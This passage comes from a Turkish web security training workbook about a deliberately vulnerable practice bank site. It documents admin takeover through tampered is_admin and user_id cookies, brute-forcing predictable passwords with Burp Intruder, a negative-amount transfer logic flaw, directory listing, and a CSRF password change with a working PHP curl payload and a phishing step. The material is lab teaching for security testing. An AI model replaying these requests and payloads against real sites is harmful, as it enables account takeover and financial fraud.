adreslerini
fuzz
etmek
için
Burp
üzerinde
k6
parametresine
§§
sembolleri
eklenmiştir.
(Şekil
59)
Şekil
59.
Burp
Suite
Intruder
Pozisyon
Belirleme
Örnek
olarak
oluşturulan
sahte
email
adresleri
başarıyla
yollanmıştır.
(Şekil
60)
Şekil
60.
Sonuç
62. 62
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
24. Cookie Hırsızlığı ile Yönetim Panelinde Oturum Açmak
Senaryo:
Öncelikle
hedef
sistemde
yönetim
paneli
bulunur.
Ardından
yanlış
bilgilerle
giriş
yapılmaya
çalışılır.
Sunucudan
gelen
cevap
takip
edildiğinde
Set-‐cookie
başlık
bilgisinde
“is_admin=false”
gibi
bir
değerin
döndüğü
görülür.
Bu
değer
true
olarak
girilse
dahi
yönetici
kullanıcı
bilgilerine
sahip
olmadan
giriş
yapılamayacaktır.
Bu
nedenle
uygulamaya
normal
müşteri
olarak
giriş
yapılmaya
çalışılır
(Beni
hatırla
seçeneğinin
aktif
olması
gerekir.).
Giden
isteğe
araya
girilerek
Cookie
başlık
bilgisine
is_admin=true
değeri
eklenir.
Ancak
bu
da
tek
başına
yeterli
olmayacaktır.
Normal
bir
müşteriye
sunucudan
cookie
bilgisinde
user_id,
u_p,
u_a
gibi
geriye
değerler
döner.
Bu
değerler
user_id
haricinde
encode
olarak
geldiği
için
anahtar
olmadan
çözmek
zordur.
user_id
değeri
ise
kullanıcının
sistemde
kayıtlı
olduğu
id
değeridir.
Yönetici
olarak
giriş
yapabilmek
için
yöneticinin
user_id
değerini
de
tahmin
etmek
gerekir.
Web
uygulamalarında
genelde
yönetici
değerleri
0,1
gibi
değerler
taşır.
BGA
Bank’da
user_id=1
ve
user_id=2
değerleri
müşteri
temsilcilerine
aittir.
Cookie
başlık
bilgisinde
bulunan
user_id
bu
değerlerden
birisiyle
değiştirilip
istek
gönderildiğinde
yönetici
paneli
ele
geçirilmiş
olur.
1)
Yönetici
paneline
giriş
denenir.
Gönderilen
İstek
GET
/ajax.php?sayfa=temsilcigiris.php&k=11111111&s=1111111&c=AA
HTTP/1.1
Host:
isube.bgabank.com
User-‐Agent:
Mozilla/5.0
(Windows
NT
6.3;
WOW64;
rv:32.0)
Gecko/20100101
Firefox/32.0
Accept:
text/html,
*/*;
q=0.01
Accept-‐Language:
en-‐US,en;q=0.5
Accept-‐Encoding:
gzip,
deflate
Content-‐Type:
text/plain;
charset:UTF-‐8
X-‐Requested-‐With:
XMLHttpRequest
Referer:
http://isube.bgabank.com/administrator.aspx
Cookie:
PHPSESSID=hssns8khv40cgpbmpjr44ibjm6
DNT:
1
Connection:
keep-‐alive
Sunucudan
Dönen
Cevap
ve
Set-‐Cookie
Değeri
HTTP/1.1
200
OK
Date:
Sat,
13
Sep
2014
19:17:58
GMT
Server:
Apache/2.4.7
(Ubuntu)
X-‐Powered-‐By:
PHP/5.5.9-‐1ubuntu4.3
Expires:
Thu,
19
Nov
1981
08:52:00
GMT
Cache-‐Control:
no-‐store,
no-‐cache,
must-‐revalidate,
post-‐check=0,
pre-‐check=0
Pragma:
no-‐cache
L-‐IP:
172.16.16.100
Set-‐Cookie:
is_admin=false;
expires=Sat,
13-‐Sep-‐2014
20:17:58
GMT;
Max-‐Age=3600
Content-‐Length:
22
63. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
63
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Keep-‐Alive:
timeout=5,
max=100
Connection:
Keep-‐Alive
Content-‐Type:
text/html
Bilgileriniz
Yanlış!
Şekil
61.
Sunucudan
Dönen
Cevap
2)
Müşteri
girişi
POST
isteği
parametreleri
aşağıdaki
gibi
değiştirilerek
istek
olarak
sunucuya
gönderilir.
Normal
müşteri
girişi,
POST
isteği
aşağıdaki
gibidir.
Bu
isteğe
araya
girip
user_id
değerinin
değiştirilmesi
ve
is_admin=true
değerinin
eklenmesi
gerekir.
Gönderilen
İstek
POST
/giris.aspx
HTTP/1.1
Host:
isube.bgabank.com
User-‐Agent:
Mozilla/5.0
(Windows
NT
6.3;
WOW64;
rv:32.0)
Gecko/20100101
Firefox/32.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-‐Language:
en-‐US,en;q=0.5
Accept-‐Encoding:
gzip,
deflate
Referer:
http://isube.bgabank.com/giris.aspx
Cookie:
PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;
is_admin=false
Connection:
keep-‐alive
Content-‐Type:
application/x-‐www-‐form-‐urlencoded
Content-‐Length:
38
b_musterino=10000142&b_password=100011
64. 64
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
user_id
ve
is_admin
parametre
değerleri
değiştirilerek
gönderilen
POST
isteği
POST
/giris.aspx
HTTP/1.1
Host:
isube.bgabank.com
User-‐Agent:
Mozilla/5.0
(Windows
NT
6.3;
WOW64;
rv:32.0)
Gecko/20100101
Firefox/32.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-‐Language:
en-‐US,en;q=0.5
Accept-‐Encoding:
gzip,
deflate
Referer:
http://isube.bgabank.com/giris.aspx
Cookie:
user_id=1;
PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;
is_admin=true
Connection:
keep-‐alive
Content-‐Type:
application/x-‐www-‐form-‐urlencoded
Content-‐Length:
38
b_musterino=10000142&b_password=100011
Şekil
62.
Yönetim
Paneli
Bu
panelde
başka
bir
menüye
gidilmek
istendiğinde
yine
araya
girip
user_id
ve
is_admin
parametrelerinin
düzenlenmesi
gerekir.
Örnek
olarak
mesajlar
kısmına
girmek
için
giden
istek
aşağıdaki
gibi
olacaktır.
Gönderilen
İstek
GET
/mesajlar.aspx
HTTP/1.1
Host:
isube.bgabank.com
User-‐Agent:
Mozilla/5.0
(Windows
NT
6.3;
WOW64;
rv:32.0)
Gecko/20100101
Firefox/32.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-‐Language:
en-‐US,en;q=0.5
Accept-‐Encoding:
gzip,
deflate
Referer:
http://isube.bgabank.com/giris.aspx
Cookie:
PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;
is_admin=false
DNT:
1
Connection:
keep-‐alive
65. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
65
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Düzenlemeler
Yapılan
İstek
GET
/mesajlar.aspx
HTTP/1.1
Host:
isube.bgabank.com
User-‐Agent:
Mozilla/5.0
(Windows
NT
6.3;
WOW64;
rv:32.0)
Gecko/20100101
Firefox/32.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-‐Language:
en-‐US,en;q=0.5
Accept-‐Encoding:
gzip,
deflate
Referer:
http://isube.bgabank.com/giris.aspx
Cookie:
user_id=1;
PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;
is_admin=true
DNT:
1
Connection:
keep-‐alive
Mesajlar
kısmı
görüntülenir.
(Şekil
63)
Şekil
63.
Mesajlar
Sayfası
66. 66
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
25. Müşteri Parolasının Tahmin Edilebilir Olması
BGA
Bank
uygulamasında
yeni
müşteri
olmak
için
Başvuru
menüsü
aracılığıyla
başvuru
yapılabilir.
Kayıt
olunan
e-‐posta
adresine
kullanıcının
detaylı
hesap
ve
kart
bilgisi
yollanmaktadır.
Örnek
postada
görülebileceği
gibi
parola
bilgisi
uygulama
tarafından
belirlenmektedir.
(Şekil
64)
Şekil
64.
Müşteri
Bilgilerini
İçeren
Posta
Bu
bilgilerle
giriş
yapılırken
giden
istekte
uygulamanın
atadığı
user_id
değeri
(user_id=8)
görülebilir.
Parola
bilgisi
ise
100008’dir.
Bu
noktada
parola
bilgisinin
user_id
değerine
göre
belirlendiği
düşünülebilir.
GET
/
HTTP/1.1
Host:
isube.bgabank.com
User-‐Agent:
Mozilla/5.0
(Macintosh;
Intel
Mac
OS
X
10.9;
rv:28.0)
Gecko/20100101
Firefox/28.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-‐Language:
en-‐US,en;q=0.5
Accept-‐Encoding:
gzip,
deflate
DNT:
1
Referer:
http://isube.bgabank.com/giris.aspx
Cookie:
PHPSESSID=utaav0saru5r2t2kusvr21u4k5;
u_a=7OhHhvLLFV8%3D;
u_p=%2F2Ytv12Ui1o%3D;
user_id=8;
u__=true
Connection:
keep-‐alive
67. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
67
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Bu
tahmini
doğrulamak
için
Burp
ile
araya
girilip
müşteri
numarası
ve
parola
bilgisine
fuzzing
uygulanır.
b_musterino
ve
b_password
parametrelerine
fuzzing
yapılır.
Sağ
tıklanıp
Intruder’a
gönderilir.
Şekil
65.
Payload
Positions
Intruder
sekmesine
geçilir
ve
payload
1
kısmı
(b_musterino)
için
ayarlar
şekil
66.
da
ki
gibidir.
Şekil
66.
Intruder
Ayarlar
68. 68
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Payload
2
(b_password)
için
ayarlar
şekil
67
de
ki
gibidir.
Şekil
67.
Payload
2
Ayarlar
69. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
69
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
Bu
ayarlar
ile
saldırı
başlatılır
ve
şekil
68
deki
gibi
başka
bir
kullanıcıya
ait
kullanıcı
bilgisi
elde
edilebilir.
Şekil
68.
Başka
Bir
Kullanıcı
70. 70
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
26. Havale İşleminde Mantık Hatası (Havale Yaparak Bakiye
Arttırma)
BGABank
uygulaması
Havale/EFT
işlemlerinde
gönderilecek
miktar
kısmında
-‐
(negatif)
bir
değer
girildiğinde
kullanılabilir
bakiyenin
arttığı
görülecektir.
Şekil
69.
da
-‐10
lira
gönderilmiştir.
Şekil
69.
Para
Havale
İşlemi
Bakiyenin
gönderim
sonrasında
ise
10009
lira
(1
lira
havale
ücreti)
olduğu
görülebilir.
(Şekil
70)
Şekil
70.
Hesap
Bilgileri
71. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
71
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
27. Dizin Listeleme/İfşa Zafiyeti
URL
http://isube.bgabank.com/assets/
http://isube.bgabank.com/assets/contents/
http://isube.bgabank.com/assets/admin/
http://isube.bgabank.com/style/
Tablo
23.
Dizinler
İstemciler
tarafından
gelen
URL
istekleri
bir
dizini
ifade
etmesi
durumunda,
dizin
içeriği
listelenmektedir.
Bu
durum,
bir
saldırganın
adını
bildiği,
öğrendiği
ya
da
tahmin
ettiği
dizinlerin
içeriğini
listeleyebilmesine
imkan
vermektedir.
Listelenen
dosya
ve
klasörlerin
arasında
önemli
bilgiler
olabilir.
Şekil
71.
Dizin
Listeleme
72. 72
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
28. Şifre Değiştirme İşlemi CSRF Zafiyeti ve İstismarı
Senaryo:
Hedef
kullanıcı,
sistemde
müşteri
numarası
ve
şifresi
ile
oturum
açar.
Saldırgan,
müşteri
şifresini
değiştirip,
hedef
müşterinin
hesabından
kendi
hesabına
para
aktarmayı
amaçlamıştır.
Bunun
için
normal
bir
müşteri
gibi
bankada
hesap
açtırır
ve
internet
şubesini
kullanmaya
başlar.
Şifre
değiştirme
sayfasında
CSRF
için
herhangi
bir
önlem
alınıp
alınmadığını,
alındıysa
doğru
çalışıp
çalışmadığını
veya
atlatılıp
atlatılamaya-‐
cağını
araştırır.
Araştırmalar
sonucunda
hedef
müşteriye
yollayacağı
sayfayı
kodlar.
Kodladığı
dosyayı
internete
yükler
ve
hedefine
sosyal
mühendislik
ile
dosyanın
adresini
gönderir.
Müşteri,
oturumu
açıkken
linke
tıklar
ve
şifresi
saldırganın
istediği
şekilde
değiştirilmiş
olur.
Saldırgan
amacına
ulaşmıştır.
BGA
Bank
‘da
yukarıda
anlatılan
senaryo
uygulanabilir.
Şekil
72.
de
şifre
değiştirme
paneli
gösterilmiştir.
Şekil
72.
Müşteri
Şifre
Değiştirme
Paneli
BGA
Bank
şifre
değiştirme
panelinde
CSRF
önlemi
olarak
şekil
72'
de
görüldüğü
gibi
forma
"Eski
Şifrenizi
Giriniz
"
bölümü
eklenmiştir.
Fakat
bu
bölüm,
sunucu
tarafında
kontrol
edilmediğinden
herhangi
bir
önemi
yoktur.
Amaç
koruma
var
gibi
gösterip,
saldırganı
yanıltarak
CSRF
denemesini
engellemektir.
Saldırı
adım
adım
aşağıda
anlatılmıştır.
73. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
73
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
1)
Saldırgan
sisteme
müşteri
olarak
kayıt
olur.
Şifre
değiştirme
panelini
inceler
ve
hedefe
göndereceği
sayfayı
uygun
bir
dilde
kodlar.
<?php
$ch
=
curl_init("http://isube.bgabank.com/ajax.php?sayfa=sifre.php&k5=11&k6=hacked&k7=hacked");
curl_setopt($ch,
CURLOPT_HTTPHEADER,
array("X-‐Requested-‐With:
xmlhttprequest"));
$result
=
curl_exec
($ch);
curl_close
($ch);
?>
CSRF.php
Yukarıda
belirtilen
kod
parçacığında
3.
satırda
belirtilen
URL
‘e
PHP-‐Curl
kütüphanesi
kullanılarak
GET
isteği
gönderilmiştir.
Sayfa
tarayıca
yüklenir
yüklenmez
veritabanındaki
id
si
11
olan
kullanıcının
şifresi
“hacked”
olarak
değişecektir.
2)
Saldırgan
kodladığı
sayfayı
internete
yükler.
Bu
dökümanda
anlatım
için
yüklenilen
adres
tablo
24.
de
gösterilmiştir.
(Örnektir)
URL
http://www.bgabank.com/csrf.php
Tablo
23.
Yüklenilen
Dosya
Adresi
3)
Dosya
linkini
hedefe
gönderir,
göndermeden
önce
BGA
Bank
oturumunun
açık
olduğundan
emin
olur.
(Şekil
73)
Şekil
73.
Sosyal
Mühendislik
74. 74
BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
4)
Hedef,
bankada
oturumu
açıkken
maili
görür
ve
belirtilen
linke
tıklar.
(Şekil
74)
Şekil
74.
Hedef
Linke
Tıklar
Şekil
75.
Şifre
Değişir
75. BGA
BANK
WEB
GÜVENLIK
TESTLERI
UYGULAMA
KITABı
75
BİLGİ
GÜVENLİĞİ
AKADEMİSİ
|©
2015
|
www.bga.com.tr
5)
Sistemden
çıkış
yapan
hedef
kullanıcı
tekrar
hesabına
eski
şifresi
ile
giriş
yapmayı
dener
ve
erişemez
çükü
şifresi
değişmiştir.
(Şekil
76)
Şekil
76.
Hedef
Giriş
Yapamaz